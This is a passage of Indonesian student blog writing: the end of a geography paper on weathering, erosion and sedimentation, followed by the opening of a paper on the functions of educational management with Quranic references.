Jika air tanah mengandung garam, maka pada siang hari airnya menguap dan garam akan mengkristal. Kristal garam garam ini tajam sekali dan dapat merusak batuan pegunungan di sekitarnya, terutama batuan karang di daerah pantai.
v Pelapukan organik
Penyebabnya adalah proses organisme yaitu binatang tumbuhan danmanusia, binatang yang dapat melakukan pelapukan antara lain cacing tanah, serangga. Dibatu-batu karang daerah pantai sering terdapat lubang-lubang yang dibuat oleh binatang. Pengaruh yang disebabkan oleh tumbuh tumbuhan ini dapat bersifat mekanik atau kimiawi. Pengaruh sifat mekanik yaitu berkembangnya akar tumbuh-tumbuhan di dalam tanah yang dapat merusak tanah disekitarnya. Pengaruh zat kimiawi yaitu berupa zat asam yang dikeluarkan oleh akarakar serat makanan menghisap garam makanan. Zat asam ini merusak batuan sehingga garam-garaman mudah diserap oleh akar. Manusia juga berperan dalam pelapukan melalui aktifitas penebangan pohon, pembangunan maupun penambangan. Dibatu-batu karang daerah pantai sering terdapat lubang-lubang yang dibuat oleh binatang.
Pengaruh yang disebabkan oleh tumbuh tumbuhan dapat bersifat mekanik atau kimiawi. Pengaruh sifat mekanik yaitu berkembangnya akar tumbuh-tumbuhan di dalam tanah yang dapat merusak tanah disekitarnya.
Pengaruh zat kimiawi yaitu berupa zat asam yang dikeluarkan oleh akar- akar serat makanan menghisap garam makanan. Zat asam ini merusak batuan sehingga kandungan garam mudah diserap oleh akar.
Manusia juga berperan dalam pelapukan melalui aktifitas penebangan pohon, pembangunan maupun penambangan.
v Pelapukan kimiawi
Pada pelapukan ini batu batuan mengalami perubahan kimiawi yang umumnya berupa pengelupasan. Pelapukan kimiawi tampak jelas terjadi pada pegunungan kapur (Karst). Pelapukan ini berlangsung dengan batuan air dan suhu yang tinggi. Air yang banyak mengandung CO2 (Zat asam arang) dapat dengan mudah melarutkan batu kapur (CACO3). Peristiwa ini merupakan pelarutan dan dapat menimbulkan gejala karst. Di Indonesia pelapukan yang banyak terjadi adalah pelapukan kimiawi. Hal ini karena di Indonasia banyak turun hujan. Air hujan inilah yang memudahkan terjadinya pelapukan kimiawi.
Gejala atau bentuk – bentuk alam yang terjadi di daerah karst diantaranya:
a. Dolina
Dolina adalah lubang lubang yang berbanuk corong. Dolina dapat terjadi karena erosi (pelarutan) atau karena runtuhan. Dolina terdapat hampir di semua bagian pegunungan kapur di Jawa bagian selatan, yaitu di pegunungan seribu.
b. Gua dan sungai di dalam Tanah
Di dalam tanah kapur mula-mula terdapat celah atau retakan. Retakan akan semakin besar dan membentuk gua-gua atau lubang-lubang, karena pengaruh larutan. Jika lubang-lubang itu berhubungan, akan terbentuklah sungai-sungai di dalam tanah.
c. Stalaktit
adalah kerucut kerucut kapur yang bergantungan pada atap gua. Terbentuk dari kapur yang tebal akibat udara masuk dalam gua. Stalakmit adalah kerucut-kerucut kapur yang berdiri pada dasar gua. Contohnnya stalaktit dan stalakmit di Gua tabuhan dan gua Gong di Pacitan, jawa Timur serta Gua Jatijajar di Kebumen, Jawa Tengah.
2. EROSI
Erosi seperti pelapukan adalah tenaga perombak (pengkikisan). Tapi yang membedakan erosi dengan pelapukan adalah erosi adalah pengkikisan oleh media yang bergerak, seperti air sungai, angin, gelombang laut, atau gletser. Erosi dibedakan oleh jenis tenaga perombaknya yaitu : Erosi air, Erosi gelombang laut (abarasi / erosi marin ), Erosi angin (deflasi), Erosi gletser (glasial)’,Erosi Akibat gaya berat.
v Erosi Air
Erosi oleh air adalah erosi yang di sebabkan oleh air atau air hujan.Jika tingkat curah hujan berlebihan sedemikian rupa sehingga tanah tidak dapat menyerap air hujan maka terjadilah genangan air yang mengalir kencang.Aliran air ini sering menyebabkan terjadinya erosi yang parah karena dapat mengikis lapisan permukaan tanah yang dilewatinya, terutama pada tanah yang gundul.
Tahapan Erosi Air
Proses pengkikisan oleh air yang mengalir terjadi dalam empat tingkatan yang berbeda sesuai dengan kerusakan tanah atau batuan yang terkena erosi, sebagai berikut.
1. Erosi percik, yaitu proses pengkikisan oleh percikan air hujan yang jatuh ke bumi.
2. Erosi lembar, yaitu proses pengkikisan lapisan tanah paling atas sehingga kesuburannya berkurang. Pengkikisan lembar ditandai oleh :
- warna air yang mengalir berwarna coklat
- warna air yang terkikis menjadi lebih pucat
- kesuburan tanah berkurang
3. Erosi alur, adalah lanjutan dari erosi lembar. Ciri khas erosi alur adalah adanya alur-alur pada tanah sebsgai tempat mengalirnya air.
4. Erosi parit, adalah terbentuknya parit-parit atau lembah akibat pengkikisan aliran air. Bila erosi parit terus berlanjut, maka luas lahan kritis dapat meluas, dan pada tingkat ini tanah sudah rusak.
Bentuk Permukaan Bumi Akibat Erosi
Pengkikisan oleh air dapat mengakibatkan :
- Tebing sungai semakin dalam
- Lembah semakin curam
- Pembentukan gua
Ø Pengikisan oleh air laut (abrasi)
Erosi oleh air laut merupakan pengikisan di pantai oleh pukulan gelombang laut yang terjadi secara terus – menerus terhadap dinding pantai. Bentang alam yang diakibatkan oleh erosi air laut, antara lain cliff (tebing terjal), notch (takik), gua di pantai, wave cut platform (punggung yang terpotong gelombang), tanjung, dan teluk. Cliff terbentuk karena gelombang melemahkan batuan di pantai. Pada awalnya gelombang meretakan batuan di pantai. Akhirnya, retakan semakin membesar dan membentuk notch yang semakin dalam akan membentuk gua. Akibat diterjang gelobang secara terus menerus mengakibatkan atap gua runtuh dan membentuk cliff dan wave cut playform.
Tanjung adalah daratan yang menjorok ke laut, sedang teluk adalah laut yang menjorok ke arah daratan. Pantai memiliki jenis batuan yang berselang seling antara batuan resisten dan tidak resisten. Pada batuan yang tidak resisten akan dengan mudah tererosi, sedangkan batuan yang resisten sulit untuk tererosi. Akibatnya, pada batuan yang tidak resisten akan terbentuk teluk yang menjorok ke daratan pada batuan yang resisten terbentuk tanjung yang menjorok ke laut.
- Akibat Abrasi biasanya terjadi di pantai, membentuk :
- Dinding pantai yang curam
- Relung ( lekukan pada dinding tebing)
- Gua pantai
- Batu layar
- Cliff
- Notch
- Gua di pantai
v Erosi Oleh Angin (Korasi)
Erosi oleh angin adalah pengikisan yang disebabkan oleh angin. Hembusan angin kencang yang terus menerus di daerah yang tandus dapat memindahkan partikel-partikel halus batuan di daerah tersebut sehingga membentuk suatu formasi, misalnya bukit-bukit pasir di gurun atau pantai.
Pengikisan oleh angin ( erosi angin biasanya terjadi di gurun ) dapat mengakibatkan :
Batu jamur
v Erosi oleh gletser
Merupakan pengikisan yang dilakukan oleh gletser (lapisan es) di daerah pegunungan. Pengikisan ini terjadi di daerah yang memiliki empat musim. Pada saat musim semi, terjadi erosi oleh gletser yang meluncur menuruni lembah. Akkibatnya lereng menjadi lebih terjal. Contoh bentang alam yang terjadi akibat erosi gletser adalah pantai fyord, yaitu pantai dengan dinding yang berkelok kelok.
v Erosi Akibat Gaya Berat
Batuan atau sedimen yang bergerak terhadap kemiringannya merupakan proses erosi yang disebabkan oleh gaya berat .Erosi ini akan berlangsung sangat cepat sehingga dapat menimbulkan bencana longsor.
3. SEDIMENTASI ( PENGENDAPAN )
Sedimentasi adalah peristiwa pengendapan material batuan yang telah diangkut oleh tenaga air atau angin .
Proses sedimentasi atau pengendapan berdasarkan tenaga pengangkutnya :
v Pengendapan Air ( Akuatik)
a). Meander
Meander merupakan sungai yang berkelok – kelok yang terbentuk karena adanya pengendapan. Proses berkelok-keloknya sungai dimulai dari sungai bagian hulu.Pada bagian hulu, volume air kecil dan tenaga yang terbentuk juga kecil. Akibatnya sungai mulai menghindari penghalang dan mencari rute yang paling mudah dilewati. Sementara, pada bagian hulu belum terjadi pengendapan. Pada bagian tengah, yang wilayahnya mulai datar aliran air mulai lambat dan membentuk meander. Proses meander terjadi pada tepi sungi, baik bagian dalam maupun tepi luar. Di bagian sungai yang aliranya cepat akan terjadi pengikisan sedangkan bagian tepi sungai yang lamban alirannya akan terjadi pengendapan. Apabila hal itu berlangsung secara terus-menerus akan membentuk meander.
Meander biasanya terbentuk pada sungai bagian hilir, dimana pengikisan dan Pengendapan terjadi secara berturut turut. Proses pengendapan yang terjadi secara terus menerus akan menyebabkan kelokan sungai terpotong dan terpisah dari aliran sungai, Sehingga terbentuk oxbow lake.
b). Delta
Pada saat aliran air mendekati muara, seperti danau atau laut maka kecepatan aliranya menjadi lambat. Akibatnya, terkadi pengendapan sedimen oleh air sungai. Pasir akan diendapkan sedangkan tanah liat dan Lumpur akan tetap terangkut oleh aliran air. Setelah sekian lama , akan terbentuk lapisan – lapisan sedimen. Akhirnya lapian lapisan sedimen membentuk dataran yang luas pada bagian sungai yang mendekati muaranya dan membentuk delta.
Pembetukan delta memenuhi beberapa syarat:
1. sedimen yang dibawa oleh sungai harus banyak ketika akan masuk laut atau danau.
2. arus panjang disepanjang pantai tidak terlalu kuat.
3. pantai harus dangkal. Contoh bentang alam ini adalah delta Sungai Musi, Kapuas, dan Kali Brantas.
c). Dataran banjir dan tanggul alam
Apabila terjadi hujan lebat, volume air meningkat secara cepat. Akibatnya terjadi banjir dan meluapnya air hingga ke tepi sungai. Pada saat air surut,bahan bahan yang terbawa oleh air sungai akan terendapkan di tepi sungai. Akibatnya, terbentuk suatu Dataran di tepi sungai. Timbulnya material yang tidak halus (kasar) terdapat pada tepi sungai. Akibatnya tepi sungai lebih tinggi dibandingkan dataran banjir yang terbentuk. Bentang alam itu disebut tanggul alam.
v B. Pengendapan Air Laut ( Sedimen Marine)
a) Slip dan Tombolo
Batuan hasil pengendapan oleh air laut disebut sedimen marine.Pengendapan oleh air laut dikarenakan adanya gelombang. Bentang alam hasil pengendapan oleh air laut, antara lain pesisir, spit, tombolo, dan penghalang pantai.Pesisir merupakan wilayah pengendapan di sepanjang pantai. Biasanya terdiri dari material pasir. Ukuran dan komposisi material di pantai sangat berfariasi tergantung pada perubahan kondisi cuaca, arah angin, dan arus laut. Arus pantai mengangkut material yang ada di sepanjang pantai. Jika terjadi perubahan arah, maka arus pantai akan tetap mengangkut material material ke laut yang dalam. ketika material masuk ke laut yang dalam, terjadi pengendapan material. Setelah sekian lama, terdapat akumulasi material yang ada di atas permukaan laut. Akumulasi material itu disebut spit. Jika arus pantai terus berlanjut, spit akan semakin panjang. Kadang kadang spit terbentuk melewati teluk dan membentuk penghalang pantai (barrier beach).
Apabila di sekitar spit terdapat pulam, biasanya spit akhirnya tersambung dengan daratan, sehingga membentuk tombolo.
v C. Pengendapan Angin (Sedimen Aeolis)
Sedimen hasil pengendapan oleh angin disebut sedimen aeolis. Bentang alam hasil pengendapan oleh angin dapat berupa gumuk pasir (sand dune). Gumuk pantai dapat terjadi di daerah pantai maupun gurun. Gumuk pasir terjadi bila terjadi akumulasi pasir yang cukup banyak dan tiupan angin yang kuat. Angin mengangkut dan mengedapkan Pasir di suatu tempat secara bertahap sehingga terbentuk timbunan pasir yang disebut gumuk pasir/sand dune.
Sand Dune (Bukit Pasir)
v Pengendapan oleh gletser
Sedimen hasil pengendapan oleh gletser disebut sedimen glacial. Bentang alam hasil Pengendapan oleh gletser adalah bentuk lembah yang semula berbentuk V menjadi U. Pada saat musim semi tiba, terjadi pengikisan oleh gletser yang meluncur menuruni lembah. Batuan atau tanah hasil pengikisan juga menuruni lereng dan mengendap di lemah. Akibatnya, lembah yang semula berbentuk V menjadi berbentuk U.
Dampak positif tenaga eksogen antara lain:
1. 1.Memunculkan habitat.
2. Memperluas daratan di bumi.
3. Memperdekat barang tambang ke permukaan bumi.
4. Meskipun begitu tenaga eksogen juga mempunyai dampak negatif yang bisa merugikan manusia.
Dampak negatif tenaga eksogen tersebut antara lain:
1. Kesuburan tanah bisa berkurang (dampak dari erosi).
- Hasil-hasil erosi yang diendapkan (sedimentasi) di muara sungai mengakibatkan pendangkalan dasar sungai.
- Abrasi dapat menghilangkan garis pantai hilang dihantam
Usaha penanggulangan dampak negatif tenaga eksogen:
1. Merehabilitasi hutan yang telah rusak dan melakukan reboisasi pada lahan yang telah gundul, karena hutannya telah habis terbakar.
2. Membuat teras-teras pada lereng yang miring
3. Pengerukan di muara-muara
4. Penanaman pohon bakau
BAB III
PENUTUP
1. Kesimpulan
Eksogen, ialah tenaga yang berasal dari luar bumi. Sifatnya merusak atau merombak permukaan bumi yang sudah terbentuk oleh tenaga endogen. Tenaga eksogen juga mengakibatkan bentuk-bentuk muka bumi. Tenaga eksogen dapat berasal dari tenaga air, angin, dan organisme yang menyebabkan terjadinya proses pelapukan, erosi, denudasi, dan sedimentasi. Contoh seperti bukit atau tebing yang terbentuk hasil tenaga endogen terkikis oleh angin, sehingga dapat mengubah bentuk permukaan bumi.
2. Saran
Seharusnya kita sebagai calon pendidik haruslah banyak mengetahui tentang tenaga eksogan, penyebaba erjadinya dan dampaknya bagi kehidupan manusia, agar sebagai mahasiswa kita mampu memberikan materi yang baik terhadap anak didik kita nantinya.
Daftar Pustaka
- http://haristepanus.wordpress.com/2011/08/07/tenaga-eksogen-pelapukan-erosi-sedimentasi/
- http://geoenviron.blogspot.com/2011/12/bentang-alam-akibat-proses-pengikisan.html
- http://aifaamalia.blogspot.com/2013/09/makalah-tenaga-eksogen.html
- Diktat Bahan Kuliah Geologi Dasar ( Drs Nahor Simanugkalit )
- Diktat Bahan Kuliah Geomorfologi Dasar ( Drs Aldrin Siallagan )
Jurusan Pendidikan Geografi Unimed
B Reguler 2012
Senin, 25 November 2013
FUNGSI FUNGSI MANAJEMEN PENDIDIKAN
· I. PENDAHULUAN
Alhamdulillah, segala puji hanya bagi Allah SWT, yang menciptakan dan menguasai seluruh alam ini. Shalawat dan salam semoga senantiasa tercurahkan bagi Nabi Muhammad SAW, yang dijadikan pemimpin seluruh Nabi dan penerang bagi umatnya.
Perkembangan ilmu pengetahuan dan teknologi yang sangat pesat diera globalisasi sekarang ini, secara langsung atau tidak mempengaruhi perkembangan manajemen. Manajemen sebagai suatu proses sosial, meletakkan bobotnya pada interaksi orang-orang, baik orang-orang yang berada di dalam maupun di luar lembaga-lembaga formal, atau yang berada di atas maupun di bawah posisi operasional seseorang. Selain itu juga manajemen pendidikan merupakan alternatif strategis untuk meningkatkan kualitas pendidikan.
Peningkatan kualitas pendidikan bukanlah tugas yang ringan, karena tidak hanya berkaitan dengan permasalahan teknis, tetapi mencakup berbagai persoalan yang rumit dan kompleks, sehingga menuntut manajemen pendidikan yang lebih baik. Sayangnya, selama ini aspek manajemen pendidikan pada berbagai tingkat dan satuan pendidikan belum mendapat perhatian yang serius, sehingga seluruh komponen sistem pendidikan kurang berfungsi dengan baik. Lemahnya manajemen pendidikan juga memberikan dampak terhadap efisiensi internal pendidikan yang terlihat dari jumlah peserta didik yang mengulang dan putus sekolah. Dari permasalahan-permasalahan tersebut dapat dilihat bahwa belum mengenanya fungsi-fungsi dari manajemen karena kurangnya pemahaman tentang pentingnya fungsi-fungsi manajemen.
Dalam makalah ini penulis akan menguraikan apa itu manajemen dan fungsi-fungsi manajemen serta pengaplikasian dari fungsi-fungsi manajemen tersebut.
II. RUMUSAN MASALAH
A. Apa yang dimaksud manajemen pendidikan?
B. Apa yang dimaksud fungsi manajemen pendidikan dan apa sajakah fungsi-fungsi manajemen pendidikan itu?
C. Bagaimana penerapan dari manajemen dan fungsi-fungsi manajemen pendidikan?
III. PEMBAHASAN
A. Pengertian Manajemen Pendidikan
Sebelum berbicara apa itu manajemen pendidikan, maka kita harus terlebih dahulu mengerti apa itu manajemen secara umum. Secara etimologi manajemen berasal dari kata to manage yang berarti mengatur. Sedangkan secara terminologi, ada beberapa definisi tentang manajemen yang dikemukakan oleh para ahli, antara lain:
1. Manajemen adalah ilmu dan seni mengatur proses pemanfaatan sumber daya manusia dan sumber-sumber lainnya secara efektif dan efisien untuk mencapai suatu tujuan tertentu (Hasibuan)
2. Manajemen adalah suatu proses yang khas yang terdiri dari tindakan-tindakan perencanaan, pengorganisasian, pengarahan, dan pengendalian yang dilakukan untuk menentukan serta mencapai sasaran-sasaran yang telah ditentukan melalui pemanfaat sumber daya manusia dan sumber-sumber lainnya (GR Terry)
3. Manajemen adalah usaha mencapai suatu tujuan tertentu melalui kegiatan orang lain. Dengan demikian manager mengadakan koordinasi atas sejumlah aktivitas rangg lain yang meliputi perencanaan, pengorganisasian, penempatan, pengarahan, dan pengendalian. (Harold Koontz dan Cyril O’Donnel)
4. Manajemen pada umumnya dikaitkan dengan aktivitas-aktivitas perencanaan, pengorganisasian, pengendalian, penempatan, pengarahan, pemotivasian, komunikasi dan pengambilan keputusan yang dilakukan oleh setiap organisasi dengan tujuan untuk mengorganisasikan berbagai sumber daya yang dimiliki oleh perusahaan sehinggga akan dihasilkan suatu produk atau jasa secara efisien. (Andrew F. Sikula) [1]
Tidak hanya dari pendapat-pendapat tersebut yang mengemukakan pengertian manajemen, Ramayulis menyatakan bahwa pengertian yang sama dengan hakikat manajemen adalah al-tadbir (pengaturan). Kata ini merupakan derivasi dari kata dabbara (mengatur) yang banyak terdapat dalam Al Qur’an seperti firman Allah SWT :
يُدَبِّرُ اْلأَمْرَ مِنَ السَّمَآءِ إِلَى اْلأَرْضِ ثُمَّ يَعْرُجُ إِلَيْهِ فِي يَوْمٍ كَانَ مِقْدَارُهُ أَلْفَ سَنَةِ مِّمَّا تَعُدُّونَ
Artinya : Dia mengatur urusan dari langit ke bumi, kemudian (urusan) itu naik kepadanya dalam satu hari yang kadarnya adalah seribu tahun menurut perhitunganmu (Al Sajdah : 05).
Dari isi kandungan ayat di atas dapatlah diketahui bahwa Allah swt adalah pengatur alam (manager). Keteraturan alam raya ini merupakan bukti kebesaran Allah swt dalam mengelola alam ini. Namun, karena manusia yang diciptakan Allah SWT telah dijadaikan sebagai khalifah di bumi, maka dia harus mengatur dan mengelola bumi dengan sebaik-baiknya sebagaimana Allah mengatur alam raya ini.
Menurut Robbin dan Coulter manajemen menurut istilah adalah proses mengkordinasikan aktifitas-aktifitas kerja sehingga dapat selesai secara efesien dan efektif dengan dan melalui orang lain.
Sedangkan Sondang P. Siagian mengartikan manajemen sebagai kemampuan atau keterampilan untuk memperoleh suatu hasil dalam rangka mencapai tujuan melalui kegiatan-kegiatan orang lain. [2]
Tidak jauh berbeda dari pengertian tersebut dalam buku yang berbeda dijelaskan bahwa manajemen sebagai sebuah proses perencanaan, pengorganisasian, pengkoordinasian, dan pengontrolan sumber daya untuk mencapai sasaran (goals) secara efektif dan efisien. [3]
Dalam perspektif yang lebih luas, manajemen adalah suatu proses pengaturan, dan pemanfaatan sumber daya yang dimiliki organisasi melalui kerjasama para anggota untuk mencapai tujuan organisasi secara efektif dan efisien. Dalam perspektif ini ada sejumlah unsur pokok yang membentuk kegiatan manajemen, yaitu : unsure manusia (men), barang-barang (materials), mesin (machines) metode (methods), uang (money) dan pasar (market). Keenam unsur ini memiliki fungsi masing-masing dan saling berinteraksi dalam mencapai tujuan organisasi terutama proses pencapain tujuan secara efektif dan efisien. [4]
Sedangkan pengertian dari manajemen pendidikan itu sendiri merupakan gabungan dari dua kata yaitu “manajemen” dan “pendidikan”. Secara sederhana manajemen pendidikan dapat diartikan sebagai manajemen yang dipraktikan dalam dunia pendidikan dengan spesifikasi dan ciri-ciri khas yang ada dalam penddikan.
Manajemen pendidikan pada dasarnya adalah alat-alat yang diperlukan dalam usaha mencapai tujuan pendidikan. Unsur manajemen dalam pendidikan merupak penerapan prinsip-prinsip manajemen dalam bidang pendidikan, bahwa manajemen pendidikan merupakan rangkaian proses yang terdiri dari, perencanaan, pengoordinasian, penggerakan, dan pengawasan yang dikaitkan dengan bidang pendidikan.
Dalam hal ini para ahli juga telah mengemukakan pendapat tentang pengertian manajemen yaitu:
1. G.Z. Roring sebagaimana dikutip Ngalim Purwanto mengungkapkan beberapa pengertian manajemen pendidikan diantaranya, yaitu manajemen pendidikan merupakan cara bekerja dengan orang-orang di dalam rangka usaha mencapai tujuan pendidikan yang efektif, yang berarti mendatangkan hasil yang baik, tepat dan benar sesuai dengan tujuan pendidikan yang telah ditetapkan.
2. Husaini usman mendefinisikan manajemen pendidikan sebagai seni dan ilmu mengelola sumber daya pendidikan untuk mewujudkan suasana belajar dan proses pembelajaran agar peserta didik secara aktif mengembangkan potensi dirinya untuk memiliki kekuatan spiritual keagamaan, pengendalian diri, kepribadian, kecerdasan, akhlak mulia, serta keterampilan yang diperlukan dirinya, masyarakat, bangsa, dan Negara. Secara lebih singkat manajemen pendidikan diartikan sebagai seni dalam mengelola sumber daya pendidikan untuk mencapai tujuan pendidikan secara efektif dan efisien.
3. Hadari Nawawi mengemukakan pendapat bahwa manajemen pendidikan adalah ilmu terapan dalam bidang pendidikan yang merupakan rangkaian kegiatan atau keseluruhan proses pengendalian usaha kerjasama sejumlah orang untuk mencapai tujuan pendidikan secara berencana dan sistematis yang diselengggarakan dilingkungan tertentu, terutama berupa lembaga pendidikan formal.
4. Djam’an Satori memberikan pengertian manajemen pendidikan sebagai keseluruhan proses kerja sama dengan memanfaatkan semua sumber personil dan materi yang tersedia dan sesuai untuk mencapai tujuan pendidikan yang telah ditetapkan secara efektif dan efisien. [5]
Beberapa pengertian tersebut memberikan gambaran bahwa manajemen pendidikan merupakan keseluruhan proses semua sumberdaya yang ada yang dikelola untuk mencapai tujuan pendidikan secara efektif, efisien dan produktif.
B. Pengertian Fungsi dan Macam Fungsi Manajemen
Berbicara tentang manajemen, dalam rangka mencapai tujuan organisasi secara efektif dan efisien, manajemen harus difungsikan sepenuhnya pada setiap organisasi, baik organisasi, industry, perbankan, maupun pendidikan, tidaklah terlepas dari fungsi manajemen secara umum, Fungsi manajemen merupakan elemen-elemen dasar yang akan selalu ada dan melekat di dalam proses manajemen yang akan dijadikan acuan dalam melaksanakan kegiatan untuk mencapai suatu tujuan yang efektif dan efisien.
Para tokoh manajemen berbeda pendapat dalam menentukan fungsi-fungsi manajemen, selain itu istilah yang digunakan juga berbeda-beda. Perbedaan tersebut kiranya disebabkan oleh latar belakang kehidupan, kondisi lembaga atau organisasi dimana para tokoh bekerja, filsafat hidup dan pesatnya dinamika kehidupan yang mengiringnya, seperti cepatnya kemajuan informasi, teknologi, dan media.
Berikut ini akan dikemukakan perbedaan-perbedaan fungsi-fungsi manajemen dari para ahli manajemen yaitu:
1. Henry Fayol : Planning (perencanaan), organizing (pengorganisasian)
commanding (pemberian perintah), Controling
(pengendalian).
2. L. Gulick : Perencanaan, pengorganisasian, penyusunan kerja,
pengarahan, pengkoordinasian, penyusunan laporan
pengendalian.
3. G.R. Terry : Perencanaan, pengorganisasian, pelaksanaan/penggerak
pengendalian.
4. Ernest Dale : Perencanaan, pengorganisasian, penyusunan kerja,
pengarahan, inovasi, penyajian laporan, pengendalian.
5. Koonts dan O’Donnel : Perencanaan, pengorganisasian, penyusunan pekerja,
pengarahan, pengendalian.
6. Oey Liang Lee : Perencanaan, pengorganisasian, pengarahan,
pengkoordinasian, pengendalian.
7. William Newman : Perencanaan, pengorganisasian, perakitan
sumber-sumber, pengarahan, pengendalian.
8. James Stoner : Perencanan, pengorganisasian, memimpin,
pengendalian.
9. Louis A. Allen : Perencanaan, penyusunan kerja, memimpin,
Pengendalian. [6]
10. S. P. Siagian : Perencanaan, pengorganisasian, motivasi, pengendalian.
11. Willim Sriegel : Perencanaan, pengorganisasian, pengendalian.
12. Lyndal Urwick : Forecasting, perencanaan, pengorganisasian, pemberian
perintah, pengkoordinasian, pengendalian.
13. Winasdi : Perencanaan, pengorganisasian, pengkoordinasian,
Pengkoordinasian, memimpin, pengendalian. [7]
Dari fungsi-fungsi manajemen yang dirumuskan oleh para tokoh manajemen tersebut diatas terdapat persamaan dan perbedaannya. Persamaan fungsi manajemen terlihat pada beberapa fungsi, yaitu: perencanaan, pengorganisasian, dan pengendalian. Sedangkan perbedaannya terletak pada pilihan kata atau istilah yang digunakan untuk menyebutkan suatu fungsi manajemen. Istilah yang digunakan untuk menyebutkan pelaksanaan (actuating) bervariasi yaitu: pemberian perintah, pengkoordinasian, penyusunan kerja, pengarahan, penyusunan laporan, pelaksanaan, inovasi, perakitan sumber-sumber, memimpin.
Ada juga pendapat yang mengemukakan berbagai fungsi manajemen. Pendapat dari Robbin dan Coulter yang mengatakan bahwa fungsi dasar manajemen yang paling penting adalah merencanakan, mengorganisasi, memimpin, dan mengendalikan tidak berbeda jauh dengan pendapat tersebut Mahdi Bin Ibrahim juga mengemukakan pendapatnya bahwa fungsi manajemen antara lain, Perencanaan, pengorganisasian, pengarahan dan pengawasan.
Dalam buku lain juga menyebutkan fungsi-fungsi manajemen diantaranya yaitu, perencanaan (planning), pengorganisasian (organizing), penataan staff (staffing), memimpin (leading), memberikan motivasi (motivating), memberikan pengarahan (actuating), memfasilatasi (fasilitating), memberdayakan staff (empowering), dan pengawasan (controlling).[8]
Berikut ini penjabaran dari fungsi-fungsi manajemen dari beberapa ahli.
Fungsi perencanaan (planning) antara lain menentukan tujuan atau kerangka tindakan yang diperlukan untuk mencapai tujuan tertentu. Penetapan tujuan ini dengan mengacu pada visi dan misi yang telah ditentukan sebelumnya, disamping itu juga dengan mengkaji kekuatan dan kelemahan organisasi (SWOT Analysis) menentukan keinginan dan kebutuhan (needs assesment), memperhatikan kebutuhan para pengguna (stake-holder analysis), memperhatikan issu-issu strategis (issue strategic analysis) menentukan strategi, kebijakan, taktik, dan program (planning strategic). [9]
Bahkan Allah memberikan arahan kepada setiap orang yang beriman untuk mendesain sebuah rencana apa yang akan dilakukan dikemudian hari, sebagaimana Firman-Nya dalam Al Qur’an Surat Al Hasyr : 18 yang berbunyi :
يَاأَيُّهَا الَّذِينَ ءَامَنُوا اتَّقُوا اللهَ وَلْتَنظُرْ نَفْسُُ مَّاقَدَّمَتْ لِغَدٍ وَاتَّقُوا اللهَ إِنَّ اللهَ خَبِيرُُ بِمَا تَعْمَلُونَ
Artinya : Hai orang-orang yang beriman, bertakwalah kepada Allah dan hendaklah Setiap diri memperhatikan apa yang telah diperbuatnya untuk hari esok (akhirat); dan bertakwalah kepada Allah, Sesungguhnya Allah Maha mengetahui apa yang kamu kerjakan.
Ketika menyusun sebuah perencanaan dalam pendidikan tidaklah dilakukan hanya untuk mencapai tujuan dunia semata, tapi harus jauh lebih dari itu melampaui batas-batas target kehidupan duniawi. Arahkanlah perencanaan itu juga untuk mencapai target kebahagiaan dunia dan akhirat, sehingga kedua-duanya bisa dicapai secara seimbang.
Dalam pendapat lain perencanaan yaitu memerinci tujuan-tujuan yang akan dicapai dan memutuskan awal tindakan-tindakan yang tepat yang diperlukan untuk mencapai tujuan tersebut, tidak jauh berbeda dari pendapat sebelumnya dalam buku Fatah Syukur, aktivitas perencanaan meliputi menganilis situasi-situasi saat ini, mengantisipasi masa depan, menentukan sasaran, menentukan jenis aktivitas yang akan dilakukan, memilih strategi-strategi, dan menentukan sumber-sumber daya yang diperlukan untuk pencapaian tujuan utama. [10]
Ada beberapa keuntungan tujuan-tujuan sebagai petunjuk bagi perencanaan, meliputi :
1. Landasan bagi perencanaan yang terpadu dan utuh
2. Premis-premis dalam mana perencanaan yang lebih khusus harus mengambil tempat
3. Landasa utama bagi penyelenggaraan control
4. Suatu landasan utama bagi motivasi manusia-suatu kesadaran untuk berkarya dalam arti tujuan dan sasaran yang telah dikenal.
5. Suuatu landasan bagi perumusan yang tepat delegasi dan desentralisasi perencanaan khusus pada tingkatan operasional yang lebih rendah, dan
6. Suatu landasan bagi koordinasi kegiatan-kegiatan diantara berbagai macam unit pekerjaan fungsional dalam organisasi.
Dari hasil perencanaan adalah akan muncul beberapa rencana, yaitu
1. Tujuan-tujuan dan sasaran-sasaran
2. Rencana-rencana tetap
3. Rencana-rencana terpakai [11]
Jadi perencanaan adalah fungsi manajemen yang secara sistematik membuat keputusan-keputusan mengenai tujuan-tujuan dan aktivitas yang akan dilaksanakan oleh seseorang, suatu kelompok, unit kerja atau keseluruhan organiasi.
Fungsi pengorganisasian (organizing) bias disebut sebagai “urat nadi” bagi seluruh organisasi atau lembaga. Terry menjelaskan bahwa pengorganisasian dilakukan untuk menghimpun dan menyusun semua sumber yang disyaratkan dalam rencana, terutama sumber daya manusia, sedemikian rupa sehingga kegiatan pencapaian tujuan yang telah ditetapkan dapat dilaksanakan secara efektif dan efisien. [12]
Ramayulis menyatakan bahwa pengorganisasian dalam pendidikan adalah proses penentuan struktur, aktivitas, interkasi, koordinasi, desain struktur, wewenang, tugas secara transparan, dan jelas. Dalam lembaga pendidikan baik yang bersifat individual, kelompok, maupun kelembagaan. [13]
Ada beberapa konsep dalam pengorganisasian yaitu:
1. Tanggung jawab (Responsibility)
2. Wewenang (Authority)
3. Pendelegasian (Delegation)
4. Pertanggung Jawaban (accountability)
5. Struktur organisasi[14]
Dari uraian di atas dapat difahami bahwa pengorganisasian merupakan fase kedua setelah perencanaan yang telah dibuat sebelumnya. Pengorganisasian terjadi karena pekerjaan yang perlu dilaksanakan itu terlalu berat untuk ditangani oleh satu orang saja. Dengan demikian diperlukan tenaga-tenaga bantuan dan terbentuklah suatu kelompok kerja yang efektif. Banyak pikiran, tangan, dan keterampilan dihimpun menjadi satu yang harus dikoordinasi bukan saja untuk menyelesaikan tugas-tugas yang bersangkutan, tetapi juga untuk menciptakan kegunaan bagi masing-masing anggota kelompok tersebut terhadap keinginan keterampilan dan pengetahuan untuk mencapai tujuan.
Fungsi pelaksanaan (actuating), adalah salah satu fungsi manajemen yang berfungsi untuk merealisasikan hasil perencanaan dan pengorganisasian. actuating adalah upaya untuk menggerakan dan mengarahkan tenaga kerja (man power) serta mendayagunakan fasilitas yang ada yang dimaksudkan untuk melaksanakan pekerjaan secara bersama.
